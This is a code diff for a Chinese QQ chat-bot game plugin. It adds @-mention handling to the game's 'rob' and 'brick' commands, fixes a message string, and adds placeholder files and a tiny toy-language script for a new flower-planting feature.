@ -21,6 +24,7 @@
"rebuild": "^0.1.2", "rebuild": "^0.1.2",
"request": "^2.88.2", "request": "^2.88.2",
"utf-8-validate": "^5.0.2", "utf-8-validate": "^5.0.2",
"uuid": "^8.0.0",
"websocket": "^1.0.31", "websocket": "^1.0.31",
"ws": "^7.2.5" "ws": "^7.2.5"
}, },

查看文件

@ -16,6 +16,7 @@ exports.add={
UQQ = UQQ.replace(']',""); UQQ = UQQ.replace(']',"");
UQQ = UQQ.replace('抢劫',""); UQQ = UQQ.replace('抢劫',"");
UQQ = UQQ.replace(' ',""); UQQ = UQQ.replace(' ',"");
At = Core.frame.GetAt(connect,info);if(At){UQQ=At}
if(保镖In.使用用户保镖(Core.GetUser(UQQ))){ if(保镖In.使用用户保镖(Core.GetUser(UQQ))){
Core.frame.SendMsg(connect,info,Core.frame.At(Core.GetUser(info.user_id))+"对方有保镖,不可抢劫。"); Core.frame.SendMsg(connect,info,Core.frame.At(Core.GetUser(info.user_id))+"对方有保镖,不可抢劫。");
}else{ }else{

查看文件

@ -24,7 +24,7 @@ exports.add = {
if(Money.add.Interfaces.GetUserMoney(Core.GetUser(info["user_id"]))>100){ if(Money.add.Interfaces.GetUserMoney(Core.GetUser(info["user_id"]))>100){
Money.add.Interfaces.CostUserMoney(Core.GetUser(info["user_id"]),100); Money.add.Interfaces.CostUserMoney(Core.GetUser(info["user_id"]),100);
exports.add.Interfaces.GiveUser板砖(Core.GetUser(info["user_id"]),1); exports.add.Interfaces.GiveUser板砖(Core.GetUser(info["user_id"]),1);
Core.frame.SendMsg(connect,info,`消耗金币 * 100\\r\\n<获得板砖>\\r\\n[板砖]*1\\r\\n<持有板砖>\\r\\n[板砖]*${exports.add.Interfaces.GetUser板砖(Core.GetUser(info["user_id"]))}`); Core.frame.SendMsg(connect,info,`消耗金币 * 100\r\n<获得板砖>\r\n[板砖]*1\r\n<持有板砖>\r\n[板砖]*${exports.add.Interfaces.GetUser板砖(Core.GetUser(info["user_id"]))}`);
}else{ }else{
Core.frame.SendMsg(connect,info,"你的金币不足100。"); Core.frame.SendMsg(connect,info,"你的金币不足100。");
} }
@ -48,6 +48,7 @@ exports.add = {
Tuser = Tuser.replace("[CQ:at,qq=",""); Tuser = Tuser.replace("[CQ:at,qq=","");
Tuser = Tuser.replace("]",""); Tuser = Tuser.replace("]","");
Tuser = Tuser.replace(" ",""); Tuser = Tuser.replace(" ","");
At = Core.frame.GetAt(connect,info);if(At){Tuser=At}
if(保镖In.使用用户保镖(Core.GetUser(Tuser))){ if(保镖In.使用用户保镖(Core.GetUser(Tuser))){
Core.frame.SendMsg(connect,info,Core.frame.At(Core.GetUser(info.user_id))+"对方有保镖,不可敲板砖"); Core.frame.SendMsg(connect,info,Core.frame.At(Core.GetUser(info.user_id))+"对方有保镖,不可敲板砖");
return; return;
@ -80,6 +81,7 @@ exports.add = {
var TuserZ = E[0].replace("[CQ:at,qq=",""); var TuserZ = E[0].replace("[CQ:at,qq=","");
TuserZ = TuserZ.replace("]",""); TuserZ = TuserZ.replace("]","");
TuserZ = TuserZ.replace(" ",""); TuserZ = TuserZ.replace(" ","");
At = Core.frame.GetAt(connect,info);if(At){TuserZ=At}
if(保镖In.使用用户保镖(Core.GetUser(Tuser))){ if(保镖In.使用用户保镖(Core.GetUser(Tuser))){
Core.frame.SendMsg(connect,info,Core.frame.At(Core.GetUser(info.user_id))+"对方有保镖,不可敲板砖"); Core.frame.SendMsg(connect,info,Core.frame.At(Core.GetUser(info.user_id))+"对方有保镖,不可敲板砖");
return; return;

1
种花.js 普通文件
查看文件

@ -0,0 +1 @@
"use strict";

0
种花.ts 普通文件
查看文件

1
种花/Base.js 普通文件
查看文件

@ -0,0 +1 @@
"use strict";

0
种花/Base.ts 普通文件
查看文件

4
种花/Script.zh 普通文件
查看文件

@ -0,0 +1,4 @@
移动 甲,0
移动 乙,甲
移动 [甲],乙
跳转 [甲]